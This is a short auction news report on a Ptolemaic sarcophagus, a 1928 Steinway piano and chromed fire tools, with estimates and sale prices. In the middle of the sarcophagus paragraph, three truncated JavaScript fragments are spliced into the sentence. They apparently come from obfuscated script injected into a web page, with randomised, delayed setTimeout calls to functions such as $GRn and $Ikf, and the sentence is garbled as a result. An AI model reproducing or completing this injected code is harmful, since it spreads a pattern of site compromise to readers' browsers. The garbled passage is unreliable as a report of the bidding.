There was much anticipation leading up to the auction, largely due to one of Capo’s featured items — a rare Egyptian Ptolemaic period mummy sarcophagus, circa 332–330 BC, which had come out of a luxury Sutton Place apartment in Manhattan.

The sarcophagus had an estimate of $5/7,000, but from the very first bid of $2,500 the bidding escalated quickly with bids online andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and from multiple phone bidders.

Anticipation was also high on a 1928 Steinway piano (serial number 276124) with mahogany case that was estimated at $3/5,000. Again going well above the high estimate, it sold for $11,000. Two sets of chromed metal fire tools, expected to bring just $400/600, sold to a bidder in the room for $2,050.
